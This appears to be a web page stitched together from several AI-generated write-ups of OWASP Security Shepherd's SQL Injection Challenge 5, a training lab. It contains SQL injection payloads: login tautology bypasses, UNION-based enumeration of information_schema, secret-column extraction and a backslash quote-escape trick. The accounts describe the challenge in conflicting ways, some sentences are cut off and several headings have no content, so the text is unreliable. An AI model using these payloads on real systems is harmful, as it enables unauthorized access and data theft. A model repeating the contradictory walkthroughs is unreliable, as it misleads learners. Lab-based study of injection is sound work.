Sql Injection Challenge 5 Security Shepherd ((free)) May 2026

SQL Injection Challenge 5 in OWASP Security Shepherd is a classic lesson in blind injection and authentication bypass. It tests your ability to manipulate database queries when the application doesn't return direct data. 🛡️ Understanding the Challenge

In Challenge 5, you are typically presented with a login screen or a search bar. Unlike earlier levels where you might see database errors or dumped tables, this level is "quieter."

The Goal: Gain unauthorized access or retrieve the hidden "key."

The Vulnerability: The application takes user input and places it directly into a SQL string without sanitization. 🔍 Step-by-Step Walkthrough 1. Identify the Entry Point

Locate the input field. Start by entering a single quote (').

If the page breaks or behaves differently, it confirms the input isn't being escaped.

In Challenge 5, a successful injection often results in a "Welcome" message or a successful login redirect. 2. The Logic Bypass

The query behind the scenes likely looks like this:SELECT * FROM users WHERE username = '$user' AND password = '$pass'

To bypass this, you need to make the WHERE clause always evaluate to TRUE. Enter this into the username field:admin' OR '1'='1 3. Handling the Password

Since the password check follows the username, you need to "comment out" the rest of the query so the system ignores the password requirement. For MySQL/PostgreSQL: admin' OR '1'='1' # For MS SQL: admin' OR '1'='1' -- 4. Refining the Payload

If the simple bypass doesn't work, the application might be checking for a specific number of columns or a specific user ID. Try:' OR 1=1 LIMIT 1 --

This tells the database: "Give me the first record in the table where the condition is true." Since '1=1' is always true, it logs you in as the first user (usually the Admin). 💡 Key Takeaways for Security Shepherd

Case Sensitivity: Sometimes the keyword OR must be uppercase or lowercase depending on the filter.

URL Encoding: If you are submitting via a URL bar, remember that spaces should be %20 and hashes should be %23.

Observation: Pay attention to the URL or the session tokens after a "successful" login; the key is often hidden there. 🚫 How to Prevent This To stop SQL injection in real-world apps:

Prepared Statements: Use parameterized queries so input is never treated as code.

Input Validation: Use allow-lists to ensure only expected characters are submitted.

Principle of Least Privilege: Ensure the database user has limited permissions.

To help you get through this specific level, could you tell me: What response do you get when you submit a single quote? Are you seeing a login box or a search field?

The SQL Injection Challenge 5 in OWASP Security Shepherd is a bypass-style challenge that tasks you with obtaining a "VIP" discount on an order by manipulating a coupon code field. This challenge specifically tests your ability to bypass common character escaping mechanisms, such as those that neutralize single quotes. Challenge Objective Sql Injection Challenge 5 Security Shepherd

You must find a way to apply a VIP coupon code to a shopping cart where the original item prices are too high for a normal purchase. The vulnerability lies in the coupon code validation field, which is susceptible to a specific type of SQL injection. Key Logic & Vulnerability

The Backend Query: The application likely uses a query similar to:SELECT * FROM coupons WHERE couponCode = "[YOUR_INPUT]" AND status = 'active'

The Filter: Unlike previous levels that might use single quotes ('), this challenge is often configured to escape single quotes (converting ' to \'). However, it may fail to escape double quotes (") or might be vulnerable to a different escape character manipulation.

The Goal: You need to break out of the string literal and inject a condition that always evaluates to true or forces the application to treat your coupon as a valid VIP one. Walkthrough & Solution

To solve this challenge, you need to use double quotes to break the SQL string since single quotes are being neutralized:

Identify the vulnerable field: Go to the "Store" or "Shopping" page for Challenge 5 and look for the Coupon Code input box.

Test for escape characters: Try entering a single quote ('). If it fails or is escaped, try a double quote ("). If the application returns a SQL error or changes its behavior, you have found the entry point.

Craft the payload: Use a double-quote-based injection to bypass the check. A common successful payload is:" OR "1"="1

Submit the code: Enter the payload into the coupon code field and click "Submit" or "Place Order".

Result: The injection forces the query to return a "true" result for the coupon check, applying a massive discount (often reducing the price to $0 or $1) and allowing you to complete the order and receive your result key. Summary Table Expected Response 1 Enter ' OR '1'='1 Likely fails (escaped to \') 2 Enter " OR "1"="1 Succeeds (if double quotes aren't escaped) 3 Submit Order Order completes and displays the result key

For further practice or to see the underlying code, you can view the Security Shepherd GitHub repository which contains the servlet logic for this VIP check. Week 1 Sube Week 2 SQL Injection Challenge 5 Week 3

While there isn't a single official "paper" dedicated solely to Challenge 5, the most relevant documentation for completing it is a solution guide from Course Hero which explains the bypass logic. Challenge Overview

SQL Injection Challenge 5 in Security Shepherd typically focuses on bypassing a Coupon Code field that is vulnerable to a tautology-based injection.

Vulnerability: The application likely uses a basic SQL query to verify coupons, such as:SELECT coupon_code FROM coupons WHERE coupon_code = 'User_Input';

Payload: By entering "" OR 1=1, the logic of the query is altered.

Resulting Query: SELECT coupon_code FROM coupons WHERE coupon_code = "" OR 1=1;

Outcome: Since 1=1 is always true, the database returns all records (or the first valid coupon), providing you with the result key needed to progress. Key Reference Materials

For a deeper academic and practical understanding of why this attack works and how to prevent it, refer to these authoritative resources:

OWASP SQL Injection Prevention Cheat Sheet: This is the industry-standard guide for developers. It details why Prepared Statements (parameterized queries) are the primary defense against the exact bypass used in Challenge 5. SQL Injection Challenge 5 in OWASP Security Shepherd

Cloudflare's SQLi Learning Guide: A clear breakdown of different SQLi types, explaining how "classic" tautology injections like the one in this challenge exploit unsanitized inputs.

Pentest-Tools Attack Breakdown: Offers a practical perspective on the five most common SQL injection types, helping to contextualize Challenge 5 within broader penetration testing methodologies. Cyber security Security shepherd sql injection challenge 5.

OWASP Security Shepherd SQL Injection Challenge 5 requires bypassing single-quote filtering by injecting a backslash, resulting in a payload like \' OR 1=1; -- . This technique unescapes the quote, allowing for an

statement to reveal the VIP Coupon Code. For a detailed breakdown of this solution, visit Security Stack Exchange couponcode from challenges SQL injection 5 #323 - GitHub

Here’s a text explaining SQL Injection Challenge 5 from the OWASP Security Shepherd project, including the goal, the vulnerability, and how to solve it.


SQL Injection Challenge 5 — Security Shepherd

Goal: craft a clear challenge description and instructions for participants to find and exploit an SQL injection vulnerability (for defensive testing/learning only).

Challenge overview

Environment

Rules and safety

Hints (progressive)

  1. Start by testing the search endpoint with basic payloads:
    • q=normalterm
    • q=' OR '1'='1
  2. If the above yields different results, try using UNION-based enumeration:
    • q=' UNION SELECT NULL, NULL--
    • Increase columns until the UNION succeeds.
  3. Use version() and database() to confirm backend:
    • q=' UNION SELECT NULL, version()--
    • q=' UNION SELECT NULL, database()--
  4. Enumerate table and column names from information_schema.tables and information_schema.columns:
    • q=' UNION SELECT NULL, table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1--
    • q=' UNION SELECT NULL, column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1--
  5. Extract the secret_flag from users:
    • q=' UNION SELECT NULL, secret_flag FROM users LIMIT 0,1--

Example exploitation steps (concise)

  1. Probe for injection: request /search?q=' OR '1'='1
  2. Find number of columns with ORDER BY or by iterating UNION NULLs.
  3. Use UNION SELECT to return database() or version().
  4. Enumerate tables/columns via information_schema queries.
  5. Retrieve secret_flag value via UNION SELECT secret_flag FROM users LIMIT 0,1--.

Deliverables

Suggested mitigations

Legal/ethical reminder

Would you like this formatted as a challenge page (HTML) or a printable PDF?

OWASP Security Shepherd SQL Injection Challenge 5 (also known as SQL Injection Escaping) focuses on bypassing filters that attempt to escape or remove single quotes to prevent injection. Challenge Overview The objective is to obtain a VIP Coupon Code

to complete a purchase without being charged, which ultimately reveals the result key. Exploitation Steps Identify the Filter : Standard payloads like ' OR 1=1;--

often fail because the application specifically removes or escapes the single quote character ( Bypass Technique backslash (

to escape the application's own escaping mechanism or to manipulate how the query interprets the next character. SQL Injection Challenge 5 — Security Shepherd Goal:

By inputting a backslash in the username field, you effectively "neutralize" the closing quote of that field in the backend SQL query, causing the query to treat the subsequent AND password= portion as part of the string. The Payload OR username="admin";-- -

(or similar logic to force a true condition for the administrator account). Retrieving the Key

: Once logged in or authorized, use the revealed VIP Coupon Code in the "Troll" purchase screen. Ensure the troll amount is set to is greater than or equal to 1

to trigger the "free" purchase and receive your solution key. Key Takeaway This challenge demonstrates that blacklist-based filtering

(manually removing characters like quotes) is often insufficient, as alternative characters like backslashes can be used to restructure the query logic. For more details, you can refer to the OWASP SQL Injection Prevention Cheat Sheet AI responses may include mistakes. Learn more couponcode from challenges SQL injection 5 #323 - GitHub

The paper you're referring to is likely a write-up or solution guide for SQL Injection Challenge 5 from the OWASP Security Shepherd project.

Security Shepherd is a web app security training platform, and Challenge 5 typically focuses on advanced blind SQL injection or bypassing filters (e.g., stripping spaces, comments, or certain keywords).


Technical Breakdown (Why it works)

The Original Query (Backend): The application code likely constructs a query like this:

SELECT * FROM challenge5 WHERE username = '$input';

The Injected Query: When you input ' UNION SELECT 1, password, 3 FROM challenge5--, the database executes:

SELECT * FROM challenge5 WHERE username = '' UNION SELECT 1, password, 3 FROM challenge5--';
  1. The single quote ' closes the string literal for username.
  2. UNION SELECT combines the result of the original query (which is empty because username = '' is false) with our malicious query.
  3. 1, password, 3 satisfies the column count requirement (3 columns).
  4. FROM challenge5 pulls the data from the target table.
  5. -- comments out the rest of the original SQL code (the trailing quote and semicolon), preventing syntax errors.

3.1 Suspected Query Structure

The login logic likely follows a pattern (pseudocode):

SELECT user_id FROM users 
WHERE username = '<input_user>' 
AND password = '<input_pass>'

If the query returns a row, login succeeds.

Why Challenge 5 Matters (Beyond the Flag)

Many capture-the-flag (CTF) challenges teach you to copy-paste payloads until something works. Challenge 5 forces you to internalize three critical lessons:

  1. Injection is contextual. A payload that works on MySQL fails on PostgreSQL. Security Shepherd typically uses MySQL, but the subtlety of database() vs current_database() is a lesson in fingerprinting.
  2. Blind doesn't mean impossible. If you cannot see Union output, Challenge 5 teaches you to pivot to time-based or Boolean extraction. The SLEEP() command becomes your best friend.
  3. Defense is about parameterization. After you succeed, reflect on how a prepared statement (? = ?) would have rendered your entire payload inert.

The Vulnerable Code (Conceptual)

Imagine the backend PHP/Node code looks something like this (simplified):

SELECT * FROM users WHERE user_id = ' [user input] '

If the user submits 5, the query becomes:

SELECT * FROM users WHERE user_id = '5'

If a user with ID 5 exists, the app returns "Found." If not, "Not found."

Now, if the developer does not sanitize input, an attacker can inject logic:

Input: 5' AND '1'='1 Query: SELECT * FROM users WHERE user_id = '5' AND '1'='1' (Always true if ID=5 exists) -> Response: "Found"

Input: 5' AND '1'='2 Query: SELECT * FROM users WHERE user_id = '5' AND '1'='2' (Always false) -> Response: "Not found"

This binary difference is the entire attack surface.